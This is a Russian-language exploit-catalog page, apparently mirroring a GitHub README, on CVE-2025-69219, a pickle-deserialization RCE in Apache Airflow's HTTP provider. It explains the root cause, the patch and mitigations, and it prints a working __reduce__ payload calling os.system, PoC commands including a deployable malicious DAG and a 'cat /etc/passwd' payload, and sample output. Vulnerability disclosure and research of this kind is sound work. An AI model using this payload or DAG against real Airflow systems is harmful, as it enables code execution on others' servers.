Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-69219 — Эксплойт proof-of-concept для CVE-2025-69219, демонстрирующий удалённое выполнение кода в Apache Airflow Providers HTTP через небезопасную десериализацию pickle. Включает PoC-скрипты, технический анализ и рекомендации по смягчению последствий. | Kitploit
Инструменты/GitHubGitHub/sak110/cve-2025-69219
Анализ уязвимостейЭксплуатацияСтатьи и ИсследованияОбучение и ОбразованиеРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubsak110/cve-2025-69219

CVE-2025-69219

Эксплойт proof-of-concept для CVE-2025-69219, демонстрирующий удалённое выполнение кода в Apache Airflow Providers HTTP через небезопасную десериализацию pickle. Включает PoC-скрипты, технический анализ и рекомендации по смягчению последствий.

Репозиторий
7316 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-69219 — RCE в Apache Airflow Providers HTTP через небезопасную десериализацию Pickle

Серьёзность: Высокая (CVSS 3.1: 8.8)
Вектор: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-913 — Некорректный контроль динамически управляемых ресурсов кода
Затронутые версии: apache-airflow-providers-http >= 5.1.0, < 6.0.0
Исправлено в: apache-airflow-providers-http == 6.0.0
Патч: apache/airflow#61662 · коммит 97839f7


Обзор

HTTP-провайдер Apache Airflow использовал модуль pickle языка Python для сериализации и десериализации ответов HTTP-триггеров для отложенных задач. Уязвимый приёмник (sink) в HttpOperator.execute_complete() выглядел так:

root@kitploit:~
# VULNERABLE (pre-patch) — providers/http/src/.../operators/http.py
response = pickle.loads(base64.standard_b64decode(event["response"]))

Словарь event считывается из базы данных Airflow, то есть любой субъект с правами записи в БД может внедрить вредоносную pickle-нагрузку. Когда воркер Triggerer обрабатывает отложенную задачу, он вслепую десериализует эту нагрузку, выполняя произвольные команды ОС с правами процесса Triggerer — что эквивалентно правам автора DAG.


Корневая причина

Вызов pickle.loads() для недоверенных данных — операция, небезопасная по своей сути. Протокол __reduce__ модуля pickle позволяет встраивать в сериализованный блоб любой вызываемый объект Python, который будет вызван во время десериализации без какой-либо песочницы.

Triggerer Airflow сериализует HTTP-ответ в момент завершения задачи и сохраняет его в БД:

root@kitploit:~
# triggers/http.py (pre-patch)
yield TriggerEvent({
    "status": "success",
    "response": base64.standard_b64encode(pickle.dumps(response)).decode("ascii"),
})

Атакующий на уровне БД заменяет это значение специально сформированным pickle-блобом, например:

root@kitploit:~
class RCEPayload:
    def __reduce__(self):
        return (os.system, ("id",))

payload = base64.b64encode(pickle.dumps(RCEPayload())).decode()

Затем Triggerer вызывает execute_complete → pickle.loads() → RCE.


Исправление (6.0.0)

Патч полностью заменяет pickle на безопасный и явный JSON-сериализатор:

root@kitploit:~
# triggers/http.py (post-patch)
yield TriggerEvent({
    "status": "success",
    "response": HttpResponseSerializer.serialize(response),  # JSON dict
})
root@kitploit:~
# HttpResponseSerializer.deserialize() — validates input is a dict, never executes code
if isinstance(data, str):
    raise TypeError("Response data must be a dict, got str")

Новый десериализатор восстанавливает объект requests.Response только из известных полей (status_code, headers, content и т. д.) — выполнение произвольного кода невозможно.


PoC

Требования

root@kitploit:~
# Python 3.9+; install a vulnerable version
pip install "apache-airflow-providers-http>=5.1.0,<6.0.0"

Режим 1 — Локальная симуляция (Airflow не требуется)

Воспроизводит уязвимый вызов pickle.loads() в рамках процесса:

root@kitploit:~
python poc.py
# or with a custom command:
python poc.py --cmd "whoami"

Пример вывода:

root@kitploit:~
  CVE-2025-69219 | Apache Airflow Providers HTTP < 6.0.0
  Unsafe Pickle Deserialization → RCE via HttpOperator
  -------------------------------------------------------

[*] Command       : id
[*] Pickle payload: gASVKAAAAAAAAACMAnBvc3lzdGVtlIWUUpQu...
[*] Triggering deserialization (simulating execute_complete) ...

uid=1000(user) gid=1000(user) groups=1000(user)

[+] os.system returned: 0  (0 = success)

Режим 2 — Полное развёртывание DAG (требуется запущенный экземпляр Airflow с providers-http < 6.0.0)

root@kitploit:~
# Generate a deployable DAG
python poc.py --mode dag --cmd "id"

# Copy to your Airflow DAGs directory
cp cve_2025_69219_poc_dag.py $AIRFLOW_HOME/dags/

# Trigger from the Airflow UI or CLI
airflow dags trigger cve_2025_69219_poc

Проверьте журналы задач — там будет вывод команды.

Вывод исходной нагрузки

root@kitploit:~
python poc.py --show-payload --cmd "cat /etc/passwd"

Влияние

ФакторДетали
Кто может эксплуатироватьЛюбой пользователь с прямым доступом на запись в БД Airflow
Контекст выполненияПроцесс воркера Triggerer (те же права, что у автора DAG)
ВероятностьНизкая — прямой доступ к БД нестандартен для корректно настроенных развёртываний
Радиус пораженияПолная RCE на узле Triggerer: эксфильтрация данных, горизонтальное перемещение, закрепление в системе

Меры по устранению

  1. Обновите apache-airflow-providers-http до версии 6.0.0 или новее.
  2. Ограничьте доступ к БД — доступ на запись к метаданным БД должны иметь только сервисные учётные записи планировщика и веб-сервера Airflow.
  3. Перед обновлением убедитесь, что все отложенные HTTP-задачи (deferrable=True) завершены или очищены: выполняющиеся задачи, сериализованные с помощью pickle, после обновления вызовут ошибку TypeError (критическое изменение описано в журнале изменений провайдера).
root@kitploit:~
pip install "apache-airflow-providers-http>=6.0.0"

Хронология

ДатаСобытие
2026-03-09CVE опубликован Apache Software Foundation
2026-03-09Исправление объединено (PR #61662, коммит 97839f7)
2026-03-09Раскрыто в списке рассылки oss-security

Ссылки

  • CVE-2025-69219 на NVD
  • GitHub Advisory GHSA-9r5j-7r2x-rv4g
  • Патч PR #61662
  • Патч (коммит 97839f7)
  • Раскрытие в oss-security

Авторы

  • skypher — обнаружил уязвимость
  • Shauryae1337 — обнаружил уязвимость
  • ahmetartuc — обнаружил уязвимость, автор оригинального PoC (poc-cve-2025-69219)

PoC в этом репозитории основан на оригинальной работе @ahmetartuc.


Отказ от ответственности

Данный proof-of-concept публикуется исключительно в образовательных целях и для исследований в области безопасности. Проводите тестирование только на системах, которыми вы владеете или на которые у вас есть явное письменное разрешение. Авторы не несут ответственности за любое неправомерное использование.

Скачать инструмент